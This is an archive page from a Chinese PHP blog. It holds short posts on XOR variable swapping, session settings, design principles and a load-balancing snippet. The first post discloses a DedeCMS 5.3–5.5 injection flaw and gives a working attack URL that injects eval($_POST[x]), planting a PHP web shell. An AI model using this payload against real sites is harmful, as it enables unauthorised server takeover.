存档

‘php’ 分类的存档

dedecms注入漏洞 影响版本5.3 – 5.5

2009年8月10日 小 恒 没有评论

dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。

假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:

http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>

可看见以下错误信息

注入成功

注入成功

阅读全文…

分类: php, 原创 标签:

不使用第三方变量交换两个变量的值

2009年3月10日 小 恒 没有评论

用位运算中的异或运算

$a = '中国';
$b = '美国';

echo "交换前:\$a = {$a}; \$b = {$b};";
$b = $b ^ $a;
$a = $b ^ $a;
$b = $b ^ $a;
echo "交换后:\$a = {$a}; \$b = {$b};";

此算法能够实现是由异或运算的特点决定的,通过异或运算能够使数据中的某些位翻转,其他位不变。这就意味着任意一个数与任意一个给定的值连续异或两次,值不变。

分类: php, 原创 标签:

用最少的代码写一个求3值最大值的函数

2009年3月9日 小 恒 没有评论

我觉得这道题不是简单在考三元运算符,主要还是在考程序员在写函数时有没有考虑到函数的可扩展性。

<?php
$a = 1;
$b = 2;
$c = 3;
echo my_max($a, $b, $c);

function my_max()
{
	$max  = 0;
	$args = func_get_args();

	foreach ($args as $nums) {
		$max = (is_numeric($nums) && $max < $nums) ? $nums : $max;
	}

	return $max;
}
分类: php, 原创 标签:

禁用 COOKIE 后 SESSION 还能用吗?

2009年3月7日 小 恒 没有评论

   我实际操作下了,能不能用要根据 php.ini 对 SESSION 的配置情况

   php.ini 中 SESSION 的配置
      session.use_only_cookies = 0; // 关闭仅使用cookies存放会话id
      session.use_trans_sid = 1; // 允许SessionID通过URL明文传输
   在这种情况下SESSION是可以使用的,服务器端会自动在地址后面附加PHPSESSIONID参数。
   示例:http://www.henghome.com/test.php?PHPSESSIONID=4refrie2ot5kk73nkgpnbjgg37

   php.ini 中 SESSION 的配置
      session.use_only_cookies = 1; // 开启仅使用cookies存放会话id
      session.use_trans_sid = 1; // 允许SessionID通过URL明文传输
   在这种情况下虽然已经允许了SessionID通过URL明文传输,担是同时又开启了仅使用cookies存放会话SessionID,所以在URL中明文传输的PHPSESSIONID参数值是无效的,SESSION 不能用。

   php.ini 中 SESSION 的配置
      session.use_trans_sid = 0; // 禁止SessionID通过URL方式明文传输
   SESSION 不能用, 这是最这安全的做法,也是 php.ini 的默认配置

分类: php, 原创 标签:

ZendOptimizer-3.3.0 绿色版

2009年1月16日 小 恒 没有评论

ZendOptimizer-3.3.0 绿色版

php.ini配置:${path}表示系统路径

[Zend]
zend_extension_manager.optimizer_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0″
zend_extension_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\ZendExtensionManager.dll”

分类: MySQL, php, 原创 标签:

面向对象设计的几个原则

2008年9月15日 小 恒 没有评论

1. 面向接口编程,而不是实现编程
2. 优先使用对象组合,而不是类继承
3. 将可变的部分和不可变的部分分离
….

参考资料:http://www.ibm.com/developerworks/cn/java/reuse/

分类: php, 软件开发 标签:

设计模式感想

2008年8月31日 小 恒 没有评论

      这段时间我在学习设计模式,感触颇深。其中有不少设计模式我在项目开发中已使用过,只是受到了本身水平限制,当时我还不知道自己使用了设计模式。o(∩_∩)o…

再接再厉,前途是光明的。

分类: php, 原创, 软件开发 标签:

PHP 负载均衡算法

2008年8月1日 小 恒 没有评论

参考条件:
1、数据表名:popadv,里面就一个字段:adv,用来保存广告链接,大概有100条记录
2、在随机选广告的基础上尽量实现平均,就是这100条广告最好被选中的机会相差不大,不要出现一个广告被选了50次,另一个才选上2次
3、每天大概有30万次浏览,就是说你的程序性能必须要能承载每天30万次的访问

  1.  <!–p<br–>/**
  2.  * 负载均衡算法
  3.  *
  4.  * 以用户访问的毫秒为基数 可大大提升广告显示的平均值
  5.  */
  6.  $mtime = explode(‘ ‘, microtime());
  7.  // 链接缓存数组
  8.  $adv = array(‘链接1′, ‘链接2′, ‘链接3′, ‘链接4′, ‘链接5′);
  9.  $i = $mtime[0] % count($adv);
  10.  echo $adv[$i];
  11.  ?&gt;
分类: php, 原创 标签: